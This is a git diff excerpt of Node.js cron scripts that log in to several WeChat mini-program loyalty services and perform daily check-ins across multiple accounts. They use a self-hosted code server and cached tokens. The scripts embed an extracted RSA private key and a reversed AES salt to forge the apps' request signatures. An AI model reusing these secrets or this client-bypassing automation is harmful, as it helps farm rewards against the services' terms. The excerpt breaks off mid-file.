$.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + await this.getUserInfo() await this.getJob() if (!this.isSigned) { await this.doSign() } } + async getUserToken(code) { + const timestamp = new Date().getTime(); + let options = { + method: 'POST', + url: `https://atom.musiyoujia.com/user/wechatlogin/applets`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': defaultUserAgent, + "api_client_code": "65", + "api_version": "1.0.0", + 'api_timestamp': timestamp, + 'api_token': '', + + 'api_sign': this.MD5_Encrypt(`api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + + } + , + data: + { + 'appId': 'wx03527497c5369a2c', + 'appType': 'WECHAT_MINI_PROGRAM', + 'code': '' + code, + 'systemCode': '65' + } + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.openId = result.data.openId + this.activedAuthToken = result.data.token + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.activedAuthToken}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + + + MD5_Encrypt(str) { const crypto = require("crypto") return crypto.createHash('md5').update(str).digest('hex'); @@ -71,6 +130,8 @@ class Task { data: { "appId": "wx03527497c5369a2c", "appType": "WECHAT_MINI_PROGRAM", "openId": `${this.openId}` } } let { data: result } = await axios.request(options) + + if (result?.msg === "success") { this.valid = true; this.customId = result?.data.resMemberInfo.memberId; @@ -156,33 +217,40 @@ class Task { + } !(async () => { await getNotice() $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return } + })() .catch((e) => console.log(e)) .finally(() => $.done()); async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } } diff --git a/daily/mxbc.js b/wxapp/mxbc.js similarity index 61% rename from daily/mxbc.js rename to wxapp/mxbc.js index 85bc48b4..527d9888 100644 --- a/daily/mxbc.js +++ b/wxapp/mxbc.js @@ -6,8 +6,8 @@ cron: 30 8 * * * ------------------------------------------ #Notice: -抓https://mxsa.mxbc.net 请求头Access-Token 多账号&或换行 变量名:mxbc +变量值:wx_server 里的 openid/账号标识,多账号&或换行 ⚠️【免责声明】 ------------------------------------------ 1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 @@ -19,26 +19,77 @@ cron: 30 8 * * * 7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 */ -const { Env } = require("../tools/env") +const { Env } = require("../tools/env.js") const $ = new Env("蜜雪冰城"); let ckName = `mxbc`; const strSplitor = "#"; const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +const MINI_APP_ID = "wx7696c66d2245d107"; +const APP_ID = "d82be6bbc1da11eb9dd000163e122ecb"; +const API_BASE = "https://mxsa.mxbc.net/api"; +const APP_VERSION = "2.8.28"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mxbc_token_cache.json"); +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:8787', + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", + +} +); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} class Task { constructor(env) { this.index = $.userIdx++ this.user = env.split(strSplitor); - this.ck = this.user[0]; + this.wcsid = this.user[0] + this.ck = ""; + this.loginCode = ""; this.activityOrigin = "" this.activityUrl = "" } async run() { - await this.user_info() + const cachedToken = this.getCachedToken(); + if (cachedToken) { + this.ck = cachedToken; + $.log(`账号[${this.index}] 使用缓存token验证`); + await this.user_info(); + } + + if (!this.ckStatus) { + this.removeCachedToken(); + await this.loginByWxCode() + if (!this.ckStatus) return + await this.user_info() + } + if (!this.ckStatus) return await this.getLoginUrl() if (this.activityOrigin) { await this.getActivityToken() @@ -46,7 +97,133 @@ class Task { } } + getCachedToken() { + const cache = readTokenCache(); + return cache[this.wcsid]?.accessToken || ""; + } + saveCachedToken() { + if (!this.ck) return; + const cache = readTokenCache(); + cache[this.wcsid] = { + accessToken: this.ck, + mobilePhone: this.mobilePhone || "", + updatedAt: new Date().toISOString() + }; + writeTokenCache(cache); + } + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.wcsid]) { + delete cache[this.wcsid]; + writeTokenCache(cache); + } + } + getSignedBody(params = {}) { + const body = { + ...params, + t: Date.now(), + appId: APP_ID + }; + const content = Object.keys(body) + .sort() + .filter(key => body[key] || body[key] === 0) + .map(key => { + const value = typeof body[key] === "object" ? JSON.stringify(body[key]) : body[key]; + return `${key}=${value}`; + }) + .join("&"); + return { + ...body, + sign: this.getSHA256withRSA(content) + }; + } + getMiniHeaders(accessToken = "") { + return { + 'Host': 'mxsa.mxbc.net', + 'Connection': 'keep-alive', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'xweb_xhr': 1, + 'Access-Token': accessToken, + 'Content-Type': 'application/json', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + 'version': APP_VERSION + }; + } + async getLoginCode(force = false) { + if (this.loginCode && !force) return this.loginCode; + const { data: codeRes } = await wechat.getCode(this.wcsid); + const code = codeRes?.code || codeRes?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(codeRes)}`); + this.loginCode = code; + return this.loginCode; + } + async getOpenId() { + try { + let options = { + method: 'POST', + url: `${API_BASE}/v1/app/code2Session`, + headers: this.getMiniHeaders(), + data: this.getSignedBody({ miniAppId: MINI_APP_ID, code: await this.getLoginCode(true) }) + } + let { data: result } = await axios.request(options); + if (result.code == 0) { + this.openId = result.data.openid + + this.unionId = result.data.unionid + $.log(`账号[${this.index}] code2Session成功`); + return true + } else { + $.log(`账号[${this.index}] code2Session失败❌ ${result.msg || ""}`); + this.ckStatus = false + console.log(result); + return false + } + } catch (e) { + $.log(`账号[${this.index}] code2Session异常❌ ${e.message || e}`); + this.ckStatus = false + return false + } + } + async loginByWxCode() { + try { + const ok = await this.getOpenId(); + if (!ok) return; + let options = { + method: 'POST', + url: `${API_BASE}/v1/app/regByUnionid`, + headers: this.getMiniHeaders(), + data: this.getSignedBody({ + code: this.loginCode, + openId: this.openId, + unionid: this.unionId, + third: "wxmini", + miniAppId: MINI_APP_ID + }) + }; + let { data: result } = await axios.request(options); + if (result.code == 0) { + this.ck = result.data.accessToken; + this.ckStatus = !!this.ck; + this.mobilePhone = result.data.mobilePhone; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: [${maskPhone(this.mobilePhone) || "未绑定手机号"}]`); + } else { + $.log(`账号[${this.index}] 登录失败❌ ${result.msg || ""}`); + this.ckStatus = false; + console.log(result); + } + } catch (e) { + $.log(`账号[${this.index}] 登录异常❌ ${e.response?.data?.msg || e.message || e}`); + this.ckStatus = false; + } + } async user_info() { let time = Date.now() try { @@ -71,6 +248,7 @@ class Task { } let { data: result } = await axios.request(options); if (result.code == 0) { + this.mobilePhone = result.data.mobilePhone; $.log(`账号[${this.index}] 用户CK有效: [${result.data.mobilePhone}] 雪王币剩余[${result.data.customerPoint}]`); this.ckStatus = true @@ -81,7 +259,8 @@ class Task { console.log(result); } } catch (e) { - + $.log(`账号[${this.index}] 用户信息校验异常❌ ${e.response?.data?.msg || e.message || e}`); + this.ckStatus = false } } async getLoginUrl() { @@ -219,7 +398,7 @@ class Task { } } getSHA256withRSA(content) { - var rs = require("jsrsasign"); + const crypto = require("crypto"); var privateKeyString = `-----BEGIN PRIVATE KEY----- MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCtypUdHZJKlQ9L @@ -251,18 +430,12 @@ dOGyw/X4SFyodv8AEloqd81yGg== -----END PRIVATE KEY----- `; - const key = rs.KEYUTIL.getKey(privateKeyString); - - const signature = new rs.KJUR.crypto.Signature({ alg: "SHA256withRSA" }); - - signature.init(key); - - signature.updateString(content); - - const originSign = signature.sign(); - const sign64u = rs.hextob64u(originSign); - - return sign64u; + return crypto + .createSign("RSA-SHA256") + .update(content) + .sign(privateKeyString, "base64") + .replace(/\//g, "_") + .replace(/\+/g, "-"); } @@ -286,19 +459,19 @@ dOGyw/X4SFyodv8AEloqd81yGg== .finally(() => $.done()); async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} \ No newline at end of file + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/mxbc_token_cache.json b/wxapp/mxbc_token_cache.json new file mode 100644 index 00000000..e69de29b diff --git a/wxapp/nestle.js b/wxapp/nestle.js new file mode 100644 index 00000000..8bfec2f3 --- /dev/null +++ b/wxapp/nestle.js @@ -0,0 +1,314 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 雀巢会员俱乐部 登录/信息查询/签到 +cron: 20 8 * * * +------------------------------------------ +变量名:nestle +变量值:wx_server 里的 openid,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("雀巢会员俱乐部"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const CK_NAME = "nestle"; +const APP = { name: "雀巢会员俱乐部", appid: "wxc5db704249c9bb31" }; +const API_BASE = "https://crm.nestlechinese.com/openapi/"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const TOKEN_CACHE_FILE = path.join(__dirname, "nestle_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 260) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function maskToken(token = "") { + const value = String(token || ""); + if (!value) return ""; + return value.length > 20 ? `${value.slice(0, 12)}***${value.slice(-8)}` : `${value.slice(0, 6)}***`; +} + +function maskPhone(phone = "") { + return String(phone || "").replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function decodeJwt(token = "") { + try { + const payload = String(token).split(".")[1]; + if (!payload) return {}; + const normalized = payload.replace(/-/g, "+").replace(/_/g, "/"); + return JSON.parse(Buffer.from(normalized, "base64").toString("utf8")); + } catch { + return {}; + } +} + +function firstValue(...values) { + for (const value of values) { + if (value !== undefined && value !== null && value !== "") return value; + } + return ""; +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class NestleMember { + constructor(openid, index) { + this.openid = openid; + this.index = index; + this.authorization = ""; + this.jwt = {}; + this.userInfo = {}; + this.pointsInfo = {}; + this.signInfo = {}; + } + + cacheKey() { + return this.openid; + } + + getCachedToken() { + const cache = readTokenCache(); + const item = cache[this.cacheKey()]; + if (!item?.authorization || !item?.expiresAt) return ""; + if (Date.now() > Number(item.expiresAt) - 5 * 60 * 1000) return ""; + return item.authorization; + } + + saveCachedToken() { + if (!this.authorization) return; + const exp = Number(this.jwt.exp || 0) * 1000; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + authorization: this.authorization, + userId: this.jwt.user_id || "", + unionid: this.jwt.unionid || "", + openid: this.jwt.mini_openid || this.openid, + expiresAt: exp || Date.now() + 50 * 60 * 1000, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + async login() { + const cached = this.getCachedToken(); + if (cached) { + this.authorization = cached; + this.jwt = decodeJwt(cached.replace(/^Bearer\s+/i, "")); + $.log(`登录:使用缓存 token ${maskToken(this.authorization)}`); + return; + } + + const code = await getWxCode(this.openid); + const body = new URLSearchParams({ + client_id: "wechatMini", + client_secret: "secret", + grant_type: "wechat_auth_code", + auth_code: code, + }); + const { status, data } = await request({ + method: "POST", + url: `${API_BASE}identityservice/connect/token`, + headers: { "content-type": "application/x-www-form-urlencoded" }, + data: body.toString(), + }); + const accessToken = data?.access_token || ""; + const tokenType = data?.token_type || "Bearer"; + if (status !== 200 || !accessToken) throw new Error(`登录失败 HTTP ${status}: ${short(data)}`); + this.authorization = `${tokenType} ${accessToken}`; + this.jwt = decodeJwt(accessToken); + $.log( + `登录:成功 ${maskToken(this.authorization)},user_id=${this.jwt.user_id || "0"},openid=${this.jwt.mini_openid || this.openid}` + ); + this.saveCachedToken(); + } + + async api(method, endpoint, data = {}, allowFail = false) { + const res = await request({ + method, + url: `${API_BASE}${endpoint}`, + headers: { + "content-type": "application/json", + Authorization: this.authorization, + displayVersion: "0", + }, + data: method === "GET" ? undefined : data, + params: method === "GET" ? data : undefined, + }); + if (!allowFail && (res.status < 200 || res.status >= 300)) { + throw new Error(`${endpoint} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + async queryUser() { + const res = await this.api("GET", "member/api/User/GetUserInfo", {}, true); + if (Number(res?.errcode) !== 200) { + $.log(`用户信息:查询失败 ${short(res)}`); + return; + } + this.userInfo = res.data || {}; + const user = this.userInfo; + const name = firstValue(user.nickname, user.nickName, user.name, user.user_name, "未知"); + const mobile = maskPhone(firstValue(user.mobile, user.phone, user.tel)); + const userId = firstValue(user.userid, user.user_id, this.jwt.user_id, "未知"); + const level = firstValue(user.level_name, user.member_level_name, user.grade_name, user.memberLevelName, "未知"); + $.log(`用户信息:${name}${mobile ? ` ${mobile}` : ""},会员ID=${userId},等级=${level}`); + } + + async queryPoints(prefix = "巢币") { + const res = await this.api("POST", "pointsservice/api/Points/getuserbalance", {}, true); + if (Number(res?.errcode) !== 200) { + $.log(`${prefix}:查询失败 ${short(res)}`); + return; + } + this.pointsInfo = res.data || {}; + const points = firstValue( + this.pointsInfo.balance, + this.pointsInfo.points, + this.pointsInfo.point, + this.pointsInfo.available_points, + this.pointsInfo.total_points, + this.pointsInfo.amount, + this.pointsInfo + ); + $.log(`${prefix}:${typeof points === "object" ? short(points, 220) : points}`); + } + + currentMonthFirstDay() { + const now = new Date(); + const year = now.getFullYear(); + const month = `${now.getMonth() + 1}`.padStart(2, "0"); + return `${year}-${month}-01`; + } + + async querySign(prefix = "签到信息") { + const res = await this.api( + "POST", + "activityservice/api/sign2025/getlist", + { rule_id: 1, time: this.currentMonthFirstDay(), goods_rule_id: 1 }, + true + ); + if (Number(res?.errcode) !== 200) { + $.log(`${prefix}:查询失败 ${short(res)}`); + return; + } + this.signInfo = res.data || {}; + const today = String(this.signInfo.time || "").replace(/T/g, " ").slice(0, 10); + const signedDays = Array.isArray(this.signInfo.list) ? this.signInfo.list.length : firstValue(this.signInfo.sign_day, 0); + const todaySigned = Array.isArray(this.signInfo.list) + ? this.signInfo.list.some((item) => String(item.sign_time || "").slice(0, 10) === today) + : ""; + const status = todaySigned === "" ? "" : todaySigned ? ",今日已签" : ",今日未签"; + $.log(`${prefix}:日期=${today || "未知"},本月已签=${signedDays}${status}`); + } + + async sign() { + const res = await this.api("POST", "activityservice/api/sign2025/sign", { rule_id: 1, goods_rule_id: 1 }, true); + if (Number(res?.errcode) === 200) { + const data = res.data || {}; + $.log(`签到:成功,获得巢币=${firstValue(data.sign_points, data.points, data.point, "未知")},连续=${firstValue(data.sign_day, "未知")}`); + return; + } + const msg = res?.errmsg || res?.msg || short(res); + if (/已签|重复|already/i.test(String(msg))) $.log(`签到:今日已签到,${msg}`); + else $.log(`签到:失败,${short(res)}`); + } + + async run() { + $.log(`\n========== ${APP.name} 账号[${this.index}] ${this.openid} ==========`); + await this.login(); + await this.queryUser(); + await this.queryPoints("签到前巢币"); + await this.querySign("签到前"); + await this.sign(); + await this.queryPoints("签到后巢币"); + await this.querySign("签到后"); + this.saveCachedToken(); + } +} + +(async () => { + const accounts = splitAccounts(process.env[CK_NAME] || process.env.wx_openid || ""); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + const runner = new NestleMember(accounts[i], i + 1); + try { + await runner.run(); + } catch (e) { + $.log(`账号[${i + 1}] 执行失败:${e.message || e}`); + } + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/nice.js b/wxapp/nice.js new file mode 100644 index 00000000..92bb9313 --- /dev/null +++ b/wxapp/nice.js @@ -0,0 +1,291 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 纳爱斯品质生活签到 +cron: 31 8 * * * +------------------------------------------ +变量名:nice +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("纳爱斯品质生活签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx231879a144b5879e"; +const PAGE_VERSION = "290"; +const API_BASE = "https://m.pailifan.com/xcx"; +const BRAND_ID = 2655; +const TOKEN_CACHE_FILE = path.join(__dirname, "nice_token_cache.json"); +const ENCRYPT_SALT = "tMFw=RXrEF7y^=7QXy2h2C_g_^"; +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "nice"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function formatDateTime(timestamp) { + const d = new Date(timestamp * 1000); + const pad = (n) => String(n).padStart(2, "0"); + return `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} ${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`; +} + +function zeroPad(buffer) { + const rest = buffer.length % 16; + if (rest === 0) return buffer; + return Buffer.concat([buffer, Buffer.alloc(16 - rest)]); +} + +function encryptPayload(data) { + const t = Math.floor(Date.now() / 1000); + const date = formatDateTime(t); + const key = Buffer.from(md5(ENCRYPT_SALT + date + t).substring(8, 24)); + const iv = Buffer.from(md5(date + t + ENCRYPT_SALT).substring(8, 24)); + const cipher = crypto.createCipheriv("aes-128-cbc", key, iv); + cipher.setAutoPadding(false); + const input = zeroPad(Buffer.from(JSON.stringify(data), "utf8")); + const encode = Buffer.concat([cipher.update(input), cipher.final()]).toString("base64"); + return { encode, t, bd: BRAND_ID }; +} + +function isTokenError(message) { + return /40313|40317|unlogin|token|登录|授权|invalid/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.memberId = ""; + this.phone = ""; + this.todaySigned = false; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getUser(); + await this.getSignLog(); + await this.doSign(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + memberId: this.memberId, + phone: this.phone, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.memberId = ""; + this.phone = ""; + } + + applyToken(data = {}) { + this.token = data.token || data.accessToken || ""; + this.memberId = data.memberId || data.member_id || ""; + this.phone = data.phone || data.mobile || ""; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + "VERSION": "2022072802", + "brand": "devtools", + "model": "Windows", + "platform": "windows", + "system": "Windows 10", + "deviceOrientation": "portrait", + "version": "8.0.5", + "size": "414,896", + ...extra, + }; + } + + buildPayload(data = {}) { + return { + ...data, + b: BRAND_ID, + lat: data.lat || "", + lng: data.lng || "", + }; + } + + async request(apiPath, data = {}, options = {}) { + const payload = this.buildPayload(options.skipToken ? data : { token: this.token, ...data }); + const res = await axios.post(`${API_BASE}${apiPath}`, encryptPayload(payload), { + headers: this.getHeaders(), + timeout: 15000, + validateStatus: () => true, + }); + const result = res.data; + if (res.status !== 200) throw new Error(`HTTP ${res.status}: ${JSON.stringify(result)}`); + if (!result || result.flag !== 0) { + const message = result?.msg || result?.data?.message || result?.data?.reason || JSON.stringify(result); + const err = new Error(message); + err.flag = result?.flag; + throw err; + } + if (result?.data?.reason === "unlogin") { + const err = new Error("unlogin"); + err.flag = result.flag; + throw err; + } + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request("/v2/user_login", { code }, { skipToken: true }); + this.applyToken({ + token: data?.token, + memberId: data?.member_id || data?.u, + phone: data?.p, + }); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${this.memberId || "未知"} ${maskPhone(this.phone) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getSignLog(true); + return true; + } catch (e) { + return false; + } + } + + async getUser() { + try { + const data = await this.request("/m/user"); + const user = data?.user || {}; + this.memberId = user.member_id || user.memberId || this.memberId; + this.phone = user.phone || user.mobile || this.phone; + this.saveCachedToken(); + $.log(`账号[${this.index}] 用户: memberId=${this.memberId || "未知"} ${maskPhone(this.phone) || ""}`); + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 查询用户失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getSignLog(silent = false) { + const data = await this.request("/u/signinlog"); + const info = data?.member_sign_info || {}; + const showDay = Number(info.show_day || 0); + const totalCoins = info.zongCoin ?? data?.zongCoin ?? 0; + this.todaySigned = Number(info.sign_today || 0) === 1; + if (!silent) { + $.log(`账号[${this.index}] 签到状态: ${this.todaySigned ? "今日已签" : "今日未签"} 连续${showDay}天 积分${totalCoins}`); + } + return data; + } + + async doSign() { + if (this.todaySigned) return; + try { + const data = await this.request("/u/signin", { data: "2019-09-23" }); + const signData = data?.data || {}; + $.log(`账号[${this.index}] 签到成功: +${signData.coin ?? "未知"} 当前积分${signData.total_coins ?? "未知"}`); + await this.getSignLog(true); + } catch (e) { + const message = String(e.message || e); + if (/已签到|重复|already/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + this.todaySigned = true; + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/nissin.js b/wxapp/nissin.js new file mode 100644 index 00000000..5aab032f --- /dev/null +++ b/wxapp/nissin.js @@ -0,0 +1,323 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 日清食品小程序签到 +cron: 28 8 * * * +------------------------------------------ +变量名:nissin +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("日清食品签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx21b71db59d93bd6d"; +const API_BASE = "https://foodhall-prod-api.nissinfoodium.com.cn/miniapp"; +const PAGE_VERSION = "74"; +const TOKEN_CACHE_FILE = path.join(__dirname, "nissin_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "nissin"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function isTokenError(e) { + const message = String(e?.message || e || ""); + return e?.code === 401 || e?.code === 900001 || /401|900001|token|登录|授权|Auth-Status|invalid/i.test(message); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.redOpenId = ""; + this.userId = ""; + this.user = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getUser(); + await this.getSignInInfo(); + await this.doSign(); + await this.enterGame(); + } + + getCachedToken() { + 